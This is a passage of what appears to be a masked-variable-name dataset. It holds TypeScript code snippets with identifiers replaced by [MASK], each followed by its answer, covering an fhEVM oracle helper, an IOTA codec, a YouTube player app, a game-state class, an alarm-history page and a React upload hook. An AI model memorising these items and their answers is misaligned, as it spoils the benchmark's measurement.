  oracle.on('ResultCallback', async (requestID, success, result, eventData) => {
    const blockNumber = eventData.log.blockNumber;
    console.log(`${await currentTime()} - Fulfilled decrypt on block ${blockNumber} (requestID ${requestID})`);
  });
};

export const awaitAllDecryptionResults = async (): Promise<void> => {
  oracle = await ethers.getContractAt('OraclePredeploy', parsedEnv.ORACLE_CONTRACT_PREDEPLOY_ADDRESS);
  await fulfillAllPastRequestsIds(network === 'hardhat');
  firstBlockListening = await ethers.provider.getBlockNumber();
};

const getAlreadyFulfilledDecryptions = async (): Promise<[bigint]> => {
  let results = [];
  const  [MASK]  = await oracle.filters.ResultCallback().getTopicFilter();
  const filterDecryptionResult = {
    address: process.env.ORACLE_CONTRACT_PREDEPLOY_ADDRESS,
    fromBlock: firstBlockListening,
    toBlock: 'latest',
    topics:  [MASK] ,
  };
  const pastResults = await ethers.provider.getLogs(filterDecryptionResult);
  results = results.concat(pastResults.map((result) => ifaceResultCallback.parseLog(result).args[0]));

  return results;
};

const fulfillAllPastRequestsIds = async (mocked: boolean) => {
  const eventDecryption = await oracle.filters.EventDecryption().getTopicFilter();
  const results = await getAlreadyFulfilledDecryptions();
  const filterDecryption = {
    address: process.env.ORACLE_CONTRACT_PREDEPLOY_ADDRESS,
    fromBlock: firstBlockListening,
    toBlock: 'latest',
    topics: eventDecryption,
  };
  const pastRequests = await ethers.provider.getLogs(filterDecryption);
  for (const request of pastRequests) {
    const event = ifaceEventDecryption.parseLog(request);
    const requestID = event.args[0];
    const cts = event.args[1];
    const handles = cts.map((ct) => ct[0]);
    const typesEnum = cts.map((ct) => ct[1]);
    const msgValue = event.args[4];
    if (!results.includes(requestID)) {
      // if request is not already fulfilled
      if (mocked) {
        // in mocked mode, we trigger the decryption fulfillment manually
        const types = typesEnum.map((num) => CiphertextType[num]);
        const values = handles.map((handle, index) => (typesEnum[index] === 7n ? handle.toString(16) : handle));
        const calldata = ethers.AbiCoder.defaultAbiCoder().encode(types, values);
        const tx = await oracle.connect(relayer).fulfillRequest(requestID, calldata, { value: msgValue });
        await tx.wait();
      } else {
        // in fhEVM mode we must wait until the oracle service relayer submits the decryption fulfillment tx
        await waitNBlocks(1);
        await fulfillAllPastRequestsIds(mocked);
      }
    }
  }
};
",eventDecryptionResult
244,"// Copyright 2020 <NAME>
// SPDX-License-Identifier: Apache-2.0

import {Bech32, Blake2b} from ""@iota/crypto.js""
import * as wasmlib from ""wasmlib""

// Thank you, @iota/crypto.js, for making my life easy
export class Codec {
    public static bech32Prefix: string = ""smr"";

    public static bech32Decode(bech32: string): wasmlib.ScAddress | null {
        let dec = Bech32.decode(bech32);
        if (dec == undefined) {
            return null;
        }
        let buf = wasmlib.bytesFromUint8Array(dec.data);
        return wasmlib.addressFromBytes(buf);
    }

    public static bech32Encode(addr: wasmlib.ScAddress): string {
        let buf = wasmlib.addressToBytes(addr);
        let  [MASK]  = wasmlib.bytesToUint8Array(buf);
        return Bech32.encode(Codec.bech32Prefix,  [MASK] );
    }

    public static hNameBytes(name: string): u8[] {
        const data = Uint8Array.wrap(String.UTF8.encode(name));
        let hash = Blake2b.sum256(data)

        // follow exact algorithm from packages/isc/hname.go
        let slice = wasmlib.bytesFromUint8Array(hash.slice(0, 4));
        let hName = wasmlib.uint32FromBytes(slice);
        if (hName == 0 || hName == 0xffff) {
            slice = wasmlib.bytesFromUint8Array(hash.slice(4, 8));
        }
        return slice;
    }
}",iscAddr
245,"import { ItemEventData } from ""ui/list-view""
import { SearchBar } from ""ui/search-bar"";
import { Component, ElementRef, OnInit, ViewChild } from '@angular/core';
import { CFAlertDialog,
    DialogOptions,
    CFAlertGravity,
    CFAlertActionAlignment,
    CFAlertActionStyle,
    CFAlertStyle } from 'nativescript-cfalert-dialog';
import ApiClient = require('nativescript-apiclient');
import { Volume } from 'nativescript-volume';

@Component({
    selector: ""Home"",
    moduleId: module.id,
    templateUrl: ""./home.component.html"",
    styleUrls: ['./home.component.scss']
})
export class HomeComponent implements OnInit {
    @ViewChild(""vplayer"") vplayer: ElementRef;
    command: string = """";
    searchPhrase: string = """";
    src: string = """";
    playerOptions: any = {
        controls: 0,
        playsinline: 1,
        enablejsapi: 1,
    };
    isLoading: boolean = false;
    videoResults: IVideoResult[] = [
        { title: ""Search to find videos"", image: { url: ""https://d2an5carukjfes.cloudfront.net/tutorials/groceries-ng/images/nativescript-logo.png?t=1.9.777"" }},
    ];
    searchResults: IYoutubeSearchResult[];
    commandHelpDialog = new CFAlertDialog();
    commandHelpMessages = {
        general: 'All commands have shortcuts and/or aliases. Shortcuts and aliases are denoted in square brackets.\n\n',
        help: 'help - [h, ?, commands, list]\n',
        search: 'search <search terms here> - [s]\n',
        load: 'load <list index> - [l]\n',
        loadplay: 'loadplay <list index> - [lp]\n',
        play: 'play - [pl]\n',
        pause: 'pause - [p]\n',
        stop: 'stop - [st]\n',
        mute: 'mute - [m]\n',
        unmute: 'unmute - [un]\n',
        volume: 'volume <up|down|mute|unmute> - [v u, v d, v dn, v m, v un]',
    }
    commandHelpOptions: DialogOptions = {
        dialogStyle: CFAlertStyle.BOTTOM_SHEET,
        title: ""Command List"",
        textAlignment: CFAlertGravity.START,
        message: this.commandHelpMessages.general + this.commandHelpMessages.help + 
                 this.commandHelpMessages.search + this.commandHelpMessages.load +
                 this.commandHelpMessages.play +
                 this.commandHelpMessages.pause + this.commandHelpMessages.stop + 
                 this.commandHelpMessages.mute + this.commandHelpMessages.unmute + 
                 this.commandHelpMessages.volume
    }
    searchBaseUrl: string = ""https://www.googleapis.com/youtube/v3/search"";
    searchSnippet: string = ""snippet"";
    searchMaxResults: number = 5;
    searchType: string = ""video"";
    searchVideoEmbeddable: boolean = true;
    searchFields: string = ""items(id/videoId,snippet(thumbnails/default,title))"";
    searchApiKey: string = ""<KEY>"";

    volume: Volume = new Volume();

    constructor() {
    }

    ngOnInit(): void {
    }

    onItemTap(args: ItemEventData): void {
        console.log('Item with index: ' + args.index + ' tapped');
        // Thinking it should load the text into the command line for us on click
        // If load is already in the command box with the correct index, it should put the ""play"" command in
        const cmdInfo = this.getCommandInfo();
        const  [MASK]  = 'load ' + args.index;
        switch (cmdInfo.cmd) {
            case 'load':
                if (cmdInfo.params == args.index.toString()) {
                    // Move forward to the play
                    this.command = 'play';
                } else {
                    this.command =  [MASK] ;
                }
                break;
            default:
                this.command =  [MASK] ;
                break;
        }
    }

    onSearchSubmit(args): void {
        let searchBar = <SearchBar>args.object;
        console.log(""SearchBar search "" + searchBar.text);

        this.command = ""s "" + searchBar.text;
        this.searchYouTube(searchBar.text);
    }

    onGoTap(): void {
        console.log(""User wants to send command!"");

        const cmdInfo = this.getCommandInfo();
        console.log('cmd', cmdInfo.cmd, 'arg', cmdInfo.params);

        switch (cmdInfo.cmd.toLowerCase()) {
            case 'h':
            case '?':
            case 'commands':
            case 'list':
            case 'help':
                this.onHelpTap();
                break;
            case 's':
            case 'search':
                this.searchYouTube(cmdInfo.params);
                break;
            case 'l':
            case 'load':
                this.loadVideoToPlayer(cmdInfo.params);
                break;
            case 'lp':
            case 'loadplay':
                this.loadVideoToPlayer(cmdInfo.params);
                this.playVideo();
                break;
            case 'pl':
            case 'play':
                this.playVideo();
                break;
            case 'st':
            case 'stop':
                this.vplayer.nativeElement.stop();
                break;
            case 'p':
            case 'pause':
                this.vplayer.nativeElement.pause();
                break;
            case 'm':
            case 'mute':
                this.muteVolume();
                break;
            case 'un':
            case 'unmute':
                this.unmuteVolume();
                break;
            case 'v':
            case 'vol':
            case 'volume':
                switch (cmdInfo.params.toLowerCase()) {
                    case 'u':
                    case 'up':
                        this.increaseVolume();
                        break;
                    case 'd':
                    case 'dn':
                    case 'down':
                        this.decreaseVolume();
                        break;
                    case 'm':
                    case 'mute':
                        this.muteVolume();
                        break;
                    case 'un':
                    case 'unmute':
                        this.unmuteVolume();
                        break;
                }
        }
    }

    onHelpTap(): void {
        this.commandHelpDialog.show(this.commandHelpOptions);
    }

    decreaseVolume(): void {
        console.log('attempted to decrease volume');
        this.volume.volumeDown();
    }

    getCommandInfo() {
        let params: string;
        const cmdSplit: string[] = this.command.split(' ');
        const cmd: string = cmdSplit[0];

        if (cmdSplit.length > 1) {
            params = this.command.substring(cmd.length + 1);
        }

        return {
            cmd: cmd,
            params: params,
        };
    }

    increaseVolume() {
        console.log('attempted to increase volume');
        this.volume.volumeUp();
    }

    loadVideoToPlayer(videoIndex: string): void {
        // if (this.src == 'wH_0_pijbZY') {
        //     this.src = 'vEG4qNW33mA';
        // } else {
        //     this.src = 'wH_0_pijbZY';
        // }
        console.log('videoIndex', videoIndex);
        this.src = this.videoResults[videoIndex].videoId;
    }

    muteVolume(): void {
        console.log('attempted to mute');
        this.volume.mute();
    }

    playVideo(): void {
        this.vplayer.nativeElement.play();
        if (this.vplayer.nativeElement.isFullscreen) {
            this.vplayer.nativeElement.toggleFullscreen();
        }
    }

    searchYouTube(searchPhrase: string): void {
        let that = this;
        let client = ApiClient.newClient({
            baseUrl: this.searchBaseUrl
        });

        const noVevoSearch = ' -' + searchPhrase.replace(' ', '') + 'vevo';
        const alternativeNoVevo = ' -""(C)""';

        client.get({
            params: {
                part: this.searchSnippet,
                maxResults: this.searchMaxResults,
                videoEmbeddable: this.searchVideoEmbeddable,
                type: this.searchType,
                fields: this.searchFields,
                key: this.searchApiKey,
                q: searchPhrase + alternativeNoVevo
            }
        });

        client.success((result: ApiClient.IApiClientResult) => {
            let results = result.getJSON<IYoutubeResult>();
            let videoResults: IVideoResult[] = [];
            let index = 0;
            for (let itemResult of (results.items as IYoutubeSearchResult[])) {
                videoResults.push({
                    videoId: itemResult.id.videoId || null,
                    title: itemResult.snippet.title || null,
                    image: {
                        url: itemResult.snippet.thumbnails.default.url || null,
                        width: itemResult.snippet.thumbnails.default.width || null,
                        height: itemResult.snippet.thumbnails.default.height || null,
                    }
                });
            }
            
            that.videoResults = videoResults;
        });
    }

    unmuteVolume(): void {
        console.log('attempted to unmute');
        this.volume.unmute();
    }
}
",cmdLoad
246,"import EventEmitter from ""node:events""
import Log from ""./log.js""
import Redis from ""./redis.js""

/**
 * @class GameState
 * @description handle game updates from Redis and maintain local state
 */
export default class GameState extends EventEmitter implements Game.State {
	public gameType = Game.Type.CUSTOM
	public gamePhase = Game.Phase.INITIALIZING
	public replay_id = """"
	public playerIndex = null
	public turn = 0
	public usernames = null
	public scores = null
	public won = null

	constructor(botId: string,  [MASK] : boolean = false) {
		super()
		Redis.subscribe(botId, RedisData.CHANNEL.STATE, this.handleStateUpdates)
		if ( [MASK] ) {
			Redis.subscribe(botId, RedisData.CHANNEL.GAME_UPDATE, this.handleGameUpdates)
		}
	}

	public handleStateUpdates = async (data: RedisData.State) => {
		Log.debugObject('handleStateUpdates', data)
		let type: string = Object.keys(data)[0]
		switch (type) {
			case 'connected':
				this.gamePhase = Game.Phase.CONNECTED
				this.emit('connected')
				break
			case 'disconnected':
				this.gamePhase = Game.Phase.INITIALIZING
				this.emit('disconnected')
				break
			case 'joined':
				this.gamePhase = Game.Phase.JOINED_LOBBY
				this.emit('joined')
				break
			case 'left':
				this.gamePhase = Game.Phase.CONNECTED
				this.emit('left')
				break
			case 'playing':
				this.gamePhase = Game.Phase.PLAYING
				this.emit('playing')
				break
			case 'game_lost':
				this.gamePhase = Game.Phase.CONNECTED
				this.won = false
				this.emit('ended')
				break
			case 'game_won':
				this.gamePhase = Game.Phase.CONNECTED
				this.won = true
				this.emit('ended')
				break
			case 'game_start':
				this.gamePhase = Game.Phase.PLAYING
				this.gameType = data.game_start.game_type
				this.replay_id = data.game_start.replay_id
				this.playerIndex = data.game_start.playerIndex
				this.turn = 0
				this.usernames = data.game_start.usernames
				this.scores = null
				this.won = null
				this.emit('game_start', data.game_start.replay_id)
				break
		}
		this.emit('phase', this.gamePhase)
		this.emit('update', this)
	}

	private handleGameUpdates = async (data: GeneralsIO.GameUpdate) => {
		this.turn = data.turn
		this.scores = data.scores
		this.emit('update', this)
	}
}
",enableTurnByTurnUpdates
247,"/*
 *   (C) Copyright 2017 Hewlett Packard Enterprise Development LP
 *
 *   Licensed under the Apache License, Version 2.0 (the ""License"");
 *   you may not use this file except in compliance with the License.
 *   You may obtain a copy of the License at
 *
 *       http://www.apache.org/licenses/LICENSE-2.0
 *
 *   Unless required by applicable law or agreed to in writing, software
 *   distributed under the License is distributed on an ""AS IS"" BASIS,
 *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 *   See the License for the specific language governing permissions and
 *   limitations under the License.
 */

export class AlarmHistoryPageCtrl {
  public static templateUrl = ""components/alarm_history.html"";
  private updating: boolean;
  private updateFailed: boolean;
  private id: number;
  private states: Array<any>;
  private savedAlarm: any;
  private saving: boolean;
  private deleting: boolean;
  public loadFailed: boolean;
  public pageLoaded: boolean;
  public init: Promise<any>;

  /** @ngInject */
  public constructor(
    private $timeout,
    private $location,
    private alertSrv,
    private monascaClientSrv
  ) {
    this.updating = true;
    this.updateFailed = false;

    this.id = null;
    if (""id"" in this.$location.search()) {
      this.id = this.$location.search().id;
    }

    this.states = [];
    this.savedAlarm = {};
    this.saving = false;
    this.deleting = false;

    if (!this.id) {
      this.updating = false;
    } else {
      this.init = this.loadStates(this.loadAlarm()).then(() => this.$timeout());
    }
  }

  private pickKnownFields(alarm) {
    this.savedAlarm.name = alarm.alarm_definition.name;
    this.savedAlarm.severity = alarm.alarm_definition.severity;
    this.savedAlarm.state = alarm.state;
    return this.savedAlarm;
  }

  private loadAlarm() {
    return this.monascaClientSrv
      .getAlarm(this.id)
      .then(alarm => {
        this.savedAlarm = this.pickKnownFields(alarm);
      })
      .catch(err => {
        this.alertSrv.set(
          ""Failed to fetch alarm method."",
          err.message,
          ""error"",
          10000
        );
        this.loadFailed = true;
      });
  }

  private loadStates( [MASK] ) {
    return  [MASK] 
      .then(() => this.monascaClientSrv.getAlarmHistory(this.id))
      .then(alarmHistory => {
        for (var i = 0; i < alarmHistory.elements.length; i++) {
          alarmHistory.elements[i].timestamp = alarmHistory.elements[
            i
          ].timestamp.replace(/[A-Z.]/g, "" "");
          alarmHistory.elements[i].timestamp = alarmHistory.elements[
            i
          ].timestamp.replace(/.{4}$/g, "" "");
          this.states.push(alarmHistory.elements[i]);
        }
      })
      .catch(err => {
        this.alertSrv.set(
          ""Failed to fetch alarm history method."",
          err.message,
          ""error"",
          10000
        );
        this.loadFailed = true;
      })
      .then(() => {
        this.pageLoaded = true;
      });
  }
}
",promiseChain
248,"""use client""

import type React from ""react""
import {
  useCallback,
  useRef,
  useState,
  type ChangeEvent,
  type DragEvent,
  type InputHTMLAttributes,
} from ""react""

export type FileMetadata = {
  name: string
  size: number
  type: string
  url: string // Can be server URL post-upload or preview URL
  id: string // Should be unique identifier for the file entry
  uploaded?: boolean // To track successful upload
  uploadError?: string // To store upload specific error
}

export type FileWithPreview = {
  file: File | FileMetadata // Can be File initially, then FileMetadata post-upload
  id: string // Unique ID for this FileWithPreview item
  preview?: string // URL for preview, e.g., object URL for images
}

export type FileUploadOptions = {
  maxFiles?: number
  maxSize?: number // in bytes
  accept?: string // Comma-separated string of accepted file types
  multiple?: boolean
  initialFiles?: FileMetadata[] // To initialize with already uploaded files
  onFilesChange?: (files: FileWithPreview[]) => void
  onFilesAdded?: (addedFiles: FileWithPreview[]) => void // Called with newly added valid files
  onUploadSuccess?: (uploadedFile: FileWithPreview, response: Record<string, unknown>) => void
  onUploadError?: (file: FileWithPreview, error: string) => void
  uploadUrl?: string // API endpoint for uploading
}

export type FileUploadState = {
  files: FileWithPreview[]
  isDragging: boolean
  errors: string[] // For validation or general errors
  isUploadingGlobal: boolean // Global flag for ongoing upload(s)
}

export type FileUploadActions = {
  addFiles: (files: FileList | File[]) => void // Public API to add and initiate upload
  removeFile: (id: string) => void
  clearFiles: () => void
  clearErrors: () => void
  handleDragEnter: (e: DragEvent<HTMLElement>) => void
  handleDragLeave: (e: DragEvent<HTMLElement>) => void
  handleDragOver: (e: DragEvent<HTMLElement>) => void
  handleDrop: (e: DragEvent<HTMLElement>) => void
  // handleFileChange is usually internal, triggered by getInputProps
  openFileDialog: () => void
  getInputProps: (
    props?: InputHTMLAttributes<HTMLInputElement>
  ) => InputHTMLAttributes<HTMLInputElement> & {
    ref: React.Ref<HTMLInputElement>
  }
}

export const formatBytes = (bytes: number, decimals = 2): string => {
  if (bytes === 0) return ""0 Bytes""
  const k = 1024
  const dm = decimals < 0 ? 0 : decimals
  const sizes = [""Bytes"", ""KB"", ""MB"", ""GB"", ""TB"", ""PB"", ""EB"", ""ZB"", ""YB""]
  const i = Math.floor(Math.log(bytes) / Math.log(k))
  return `${parseFloat((bytes / k ** i).toFixed(dm))} ${sizes[i]}`
}

export const useFileUpload = (
  options: FileUploadOptions = {}
): [FileUploadState, FileUploadActions] => {
  const {
    maxFiles = Infinity,
    maxSize = Infinity,
    accept = ""*/*"", // More common default
    multiple = false,
    initialFiles = [],
    onFilesChange,
    onFilesAdded,
    onUploadSuccess,
    onUploadError,
    uploadUrl,
  } = options

  const [state, setState] = useState<FileUploadState>({
    files: initialFiles.map((fileMeta) => ({ // initialFiles are FileMetadata
      file: fileMeta,
      id: fileMeta.id, // Ensure initialFiles have an id
      preview: fileMeta.url, // Use url from FileMetadata as preview
    })),
    isDragging: false,
    errors: [],
    isUploadingGlobal: false,
  })

  const inputRef = useRef<HTMLInputElement>(null)

  const validateFile = useCallback(
    (file: File): string | null => { // Simplified: always validates a File object
      if (file.size > maxSize) {
        return `File ""${file.name}"" exceeds the maximum size of ${formatBytes(maxSize)}.`
      }

      if (accept !== ""*/*"" && accept !== ""*"") {
        const acceptedTypes = accept.split("","").map((type) => type.trim().toLowerCase())
        const fileType = file.type.toLowerCase()
        const fileName = file.name.toLowerCase()
        const fileExtension = `.${fileName.split(""."").pop()}`

        const isAccepted = acceptedTypes.some((type) => {
          if (type.startsWith(""."")) { // e.g., .pdf
            return fileExtension === type
          }
          if (type.endsWith(""/*"")) { // e.g., image/*
            const baseType = type.slice(0, -2) // image
            return fileType.startsWith(`${baseType}/`)
          }
          return fileType === type // e.g., application/pdf
        })

        if (!isAccepted) {
          return `File ""${file.name}"" type not accepted. Accepted types: ${accept}`
        }
      }
      return null
    },
    [accept, maxSize]
  )

  const createPreview = useCallback((file: File): string | undefined => {
    if (file.type.startsWith(""image/"")) {
      return URL.createObjectURL(file)
    }
    return undefined
  }, [])

  const generateUniqueId = useCallback((file: File): string => {
    return `${file.name}-${file.size}-${file.lastModified}-${Math.random().toString(36).substring(2, 9)}`
  }, [])

  const _uploadFileInternal = async (fileToUpload: FileWithPreview) => {
    // Ensure fileToUpload.file is a File instance for upload
    if (!(fileToUpload.file instanceof File)) {
      const errorMsg = `Cannot upload ""${(fileToUpload.file as FileMetadata).name}""; it's not a valid file object for direct upload.`;
      console.error(errorMsg, fileToUpload);
      // Update this specific file's metadata with an error
      const updatedFileWithMetaError: FileWithPreview = {
        ...fileToUpload,
        file: {
            ...(fileToUpload.file as FileMetadata), // Keep existing metadata
            uploadError: errorMsg,
            uploaded: false,
        }
      };
      setState(prev => ({
        ...prev,
        files: prev.files.map(f => f.id === updatedFileWithMetaError.id ? updatedFileWithMetaError : f),
        errors: [...prev.errors, errorMsg], // Add to general errors too
        isUploadingGlobal: false // Assuming this path means no actual network upload starts
      }));
      onUploadError?.(updatedFileWithMetaError, errorMsg);
      return;
    }

    if (!uploadUrl) {
      const errorMsg = ""Upload URL is not configured.""
      console.warn(errorMsg, ""File not uploaded:"", fileToUpload.file.name)
      // Update file metadata to reflect it wasn't uploaded due to config
       const fileWithConfigError: FileWithPreview = {
        ...fileToUpload,
        file: { // Convert to FileMetadata with error
            name: fileToUpload.file.name,
            size: fileToUpload.file.size,
            type: fileToUpload.file.type,
            id: fileToUpload.id,
            url: fileToUpload.preview || '',
            uploaded: false,
            uploadError: errorMsg,
        }
      };
      setState(prev => ({
          ...prev,
          files: prev.files.map(f => f.id === fileWithConfigError.id ? fileWithConfigError : f),
          errors: [...prev.errors, errorMsg],
          isUploadingGlobal: false
      }));
      onUploadError?.(fileWithConfigError, errorMsg);
      return;
    }

    const formData = new FormData()
    formData.append(""file"", fileToUpload.file) // FastAPI expects 'file' field

    setState(prev => ({ ...prev, isUploadingGlobal: true, errors: [] }))

    try {
      const response = await fetch(uploadUrl, {
        method: ""POST"",
        body: formData,
      })

      let responseData: Record<string, unknown> = {}; // Initialize for broader scope
      const contentType = response.headers.get(""content-type"");

      if (!response.ok) {
        let errorDetail = `Upload failed for ${fileToUpload.file.name}. Status: ${response.status} ${response.statusText}`;
        try {
          const errorText = await response.text();
          errorDetail += ` - Server response: ${errorText.substring(0, 200)}${errorText.length > 200 ? '...' : ''}`;
        } catch (textError: unknown) {
          console.warn(""Could not read error response text:"", textError);
        }
        throw new Error(errorDetail);
      }
      
      if (contentType && contentType.includes(""application/json"")) {
        responseData = await response.json() as Record<string, unknown>;
      } else {
         // Handle non-JSON or missing Content-Type response if necessary,
         // or assume success if response.ok and no JSON is expected for some cases.
         // For now, we'll assume JSON is expected on success.
        console.warn(`Response for ${fileToUpload.file.name} was not JSON. Content-Type: ${contentType}`);
        // If JSON is strictly required, this could be an error condition:
        // throw new Error(`Unexpected response type: ${contentType}. Expected JSON.`);
      }

      const successfullyUploadedFile: FileWithPreview = {
        ...fileToUpload,
        file: { // This is FileMetadata
            name: fileToUpload.file.name,
            size: fileToUpload.file.size,
            type: fileToUpload.file.type,
            id: fileToUpload.id, // Use existing FileWithPreview ID as FileMetadata ID
            url: typeof responseData.file_url === 'string' ? responseData.file_url : // Assuming server returns 'file_url'
                 (typeof responseData.url === 'string' ? responseData.url : fileToUpload.preview || ''),
            uploaded: true,
        }
      };

      setState(prev => {
        const updatedFiles = prev.files.map(f =>
          f.id === successfullyUploadedFile.id ? successfullyUploadedFile : f
        )
        onUploadSuccess?.(successfullyUploadedFile, responseData)
        return { ...prev, files: updatedFiles, isUploadingGlobal: false }
      })

    } catch (error: unknown) {
      const errorMessage = error instanceof Error ? error.message : `Error uploading ${ (fileToUpload.file as File).name}.`;
      const fileWithError: FileWithPreview = {
        ...fileToUpload,
        file: { // This is FileMetadata
            name: (fileToUpload.file as File).name,
            size: (fileToUpload.file as File).size,
            type: (fileToUpload.file as File).type,
            id: fileToUpload.id,
            url: fileToUpload.preview || '',
            uploaded: false,
            uploadError: errorMessage,
        }
      };
      setState(prev => {
        const updatedFiles = prev.files.map(f =>
          f.id === fileWithError.id ? fileWithError : f
        )
        // Add to general errors in addition to specific file error
        const newErrors = prev.errors.filter(e => !e.includes(fileWithError.file.name)); // Avoid duplicate general messages for the same file
        newErrors.push(errorMessage);

        onUploadError?.(fileWithError, errorMessage)
        return { ...prev, files: updatedFiles, errors: newErrors, isUploadingGlobal: false }
      })
    }
  }

  const addFilesAndUpload = useCallback(
    (newFilesInput: FileList | File[]) => {
      if (state.isUploadingGlobal) return; // Don't add if already uploading (for single mode primarily)
      if (!newFilesInput || newFilesInput.length === 0) return

      const newFilesArray = Array.from(newFilesInput)
      const currentValidationErrors: string[] = [] // Local to this call

      // For single file mode, if a file already exists (even if being uploaded or failed), replace it.
      if (!multiple && state.files.length > 0) {
         state.files.forEach((fwp) => { // Revoke old preview
          if (fwp.preview && fwp.file instanceof File && fwp.file.type.startsWith(""image/"")) {
            URL.revokeObjectURL(fwp.preview)
          }
        })
        setState(prev => ({ ...prev, files: [], errors: [] })); // Clear existing files and their errors
      } else {
        setState(prev => ({ ...prev, errors: [] })); // Clear general errors for new batch
      }


      if (!multiple && newFilesArray.length > 1) {
        currentValidationErrors.push(""Please select only one file."")
        setState(prev => ({ ...prev, errors: currentValidationErrors }))
        if (inputRef.current) inputRef.current.value = """"
        return
      }

      if (multiple && maxFiles !== Infinity && state.files.length + newFilesArray.length > maxFiles) {
        currentValidationErrors.push(`You can only upload a maximum of ${maxFiles} files.`)
        setState((prev) => ({ ...prev, errors: [...prev.errors, ...currentValidationErrors] }))
        if (inputRef.current) inputRef.current.value = """"
        return
      }

      const filesToProcess: FileWithPreview[] = []

      for (const file of newFilesArray) {
        if (!(file instanceof File)) continue; // Skip if not a File object

        // Duplicate check (more robust for multiple additions)
        const isDuplicate = (!multiple && state.files.length > 0) ? false : // In single mode, we already cleared
                             state.files.some(existingFwp =>
                                existingFwp.file.name === file.name &&
                                existingFwp.file.size === file.size &&
                                (existingFwp.file instanceof File ? existingFwp.file.lastModified === file.lastModified : true)
                             );
        if (isDuplicate) continue;


        const validationError = validateFile(file)
        if (validationError) {
          currentValidationErrors.push(validationError)
        } else {
          filesToProcess.push({
            file, // Actual File object
            id: generateUniqueId(file),
            preview: createPreview(file),
          })
        }
      }

      if (currentValidationErrors.length > 0) {
        setState((prev) => ({ ...prev, errors: [...prev.errors, ...currentValidationErrors] }))
        if (inputRef.current) inputRef.current.value = """"
        return
      }

      if (filesToProcess.length > 0) {
        const filesToAddUpdate = !multiple ? filesToProcess.slice(0, 1) : filesToProcess;

        setState(prev => {
          const updatedFilesState = !multiple ? filesToAddUpdate : [...prev.files, ...filesToAddUpdate]
          onFilesChange?.(updatedFilesState) // Call with the full list
          onFilesAdded?.(filesToAddUpdate)   // Call with only the newly added valid files
          return {
            ...prev,
            files: updatedFilesState,
          }
        })

        if (uploadUrl) {
          filesToAddUpdate.forEach(fileToUpload => _uploadFileInternal(fileToUpload))
        } else {
          console.warn(""uploadUrl not provided. Files added locally but not uploaded."")
           // If no uploadUrl, mark files as 'pending' or similar if needed, or convert to FileMetadata locally
           const filesAsMetadataLocally = filesToAddUpdate.map(fwp => ({
            ...fwp,
            file: { // Convert to FileMetadata to indicate they are processed by the hook
              name: (fwp.file as File).name,
              size: (fwp.file as File).size,
              type: (fwp.file as File).type,
              id: fwp.id,
              url: fwp.preview || '', // Use preview as URL if no upload
              uploaded: false, // Not uploaded
              uploadError: ""Upload URL not configured"",
            } as FileMetadata
          }));

          setState(prev => {
            const updatedFiles = prev.files.map(existingFile => {
              const  [MASK]  = filesAsMetadataLocally.find(processedFile => processedFile.id === existingFile.id);
              return  [MASK]  || existingFile;
            });
            return { ...prev, files: updatedFiles };
          });
        }
      }

      if (inputRef.current) {
        inputRef.current.value = """"
      }
    },
    [
      state.isUploadingGlobal, state.files, // Critical for logic within
      multiple, maxFiles, uploadUrl,
      validateFile, generateUniqueId, createPreview, // Other useCallback deps
      onFilesChange, onFilesAdded, // Callbacks
      // _uploadFileInternal is not directly a dep but its logic is tied to uploadUrl etc.
      // setState itself is stable.
    ]
  )

  const removeFile = useCallback(
    (id: string) => {
      setState((prev) => {
        const fileToRemove = prev.files.find((file) => file.id === id)
        if (fileToRemove?.preview && fileToRemove.file instanceof File && fileToRemove.file.type.startsWith(""image/"")) {
          URL.revokeObjectURL(fileToRemove.preview)
        }
        const newFiles = prev.files.filter((file) => file.id !== id)
        onFilesChange?.(newFiles)
        
        let updatedErrors = prev.errors;
        if (fileToRemove?.file?.name) {
            // Remove errors specifically mentioning this file by name
            updatedErrors = prev.errors.filter(err => !err.includes(fileToRemove.file.name));
        }
        // If all files are removed, clear all errors
        if (newFiles.length === 0) {
            updatedErrors = [];
        }

        if (inputRef.current && newFiles.length === 0) {
            inputRef.current.value = """";
        }
        return { ...prev, files: newFiles, errors: updatedErrors, isUploadingGlobal: newFiles.length > 0 ? prev.isUploadingGlobal : false }
      })
    },
    [onFilesChange] // setState is stable
  )

  const clearFiles = useCallback(() => {
    setState((prev) => {
      prev.files.forEach((fwp) => {
        if (fwp.preview && fwp.file instanceof File && fwp.file.type.startsWith(""image/"")) {
          URL.revokeObjectURL(fwp.preview)
        }
      })
      if (inputRef.current) {
        inputRef.current.value = """"
      }
      const newState = { ...prev, files: [], errors: [], isUploadingGlobal: false }
      onFilesChange?.(newState.files)
      return newState
    })
  }, [onFilesChange]) // setState is stable

  const clearErrors = useCallback(() => {
    setState((prev) => ({ ...prev, errors: [] }))
  }, []) // setState is stable

  const handleDragEnter = useCallback((e: DragEvent<HTMLElement>) => {
    e.preventDefault()
    e.stopPropagation()
    if (state.isUploadingGlobal && !multiple) return;
    if (!multiple && state.files.length > 0) return; // Don't allow drag if single file already present
    setState((prev) => ({ ...prev, isDragging: true }))
  }, [state.isUploadingGlobal, state.files.length, multiple])

  const handleDragLeave = useCallback((e: DragEvent<HTMLElement>) => {
    e.preventDefault()
    e.stopPropagation()
    if (state.isUploadingGlobal && !multiple) return;
    if (e.currentTarget.contains(e.relatedTarget as Node)) {
        return;
    }
    setState((prev) => ({ ...prev, isDragging: false }))
  }, [state.isUploadingGlobal, multiple])

  const handleDragOver = useCallback((e: DragEvent<HTMLElement>) => {
    e.preventDefault()
    e.stopPropagation()
    if (state.isUploadingGlobal && !multiple) { e.dataTransfer.dropEffect = ""none""; return; }
    if (!multiple && state.files.length > 0) { e.dataTransfer.dropEffect = ""none""; return; }
    e.dataTransfer.dropEffect = ""copy""; // Explicitly show copy cursor
    setState((prev) => ({ ...prev, isDragging: true }))
  }, [state.isUploadingGlobal, state.files.length, multiple])

  const handleDrop = useCallback(
    (e: DragEvent<HTMLElement>) => {
      e.preventDefault()
      e.stopPropagation()
      setState((prev) => ({ ...prev, isDragging: false }))
      if (state.isUploadingGlobal && !multiple) return;
      if (!multiple && state.files.length > 0) return;

      if (e.dataTransfer.files && e.dataTransfer.files.length > 0) {
        addFilesAndUpload(e.dataTransfer.files) // This is addFilesAndUpload
        e.dataTransfer.clearData()
      }
    },
    [addFilesAndUpload, state.isUploadingGlobal, state.files.length, multiple] // addFilesAndUpload is from useCallback
  )

  const handleFileChange = useCallback(
    (e: ChangeEvent<HTMLInputElement>) => {
      // isUploadingGlobal check is handled within addFilesAndUpload for single mode
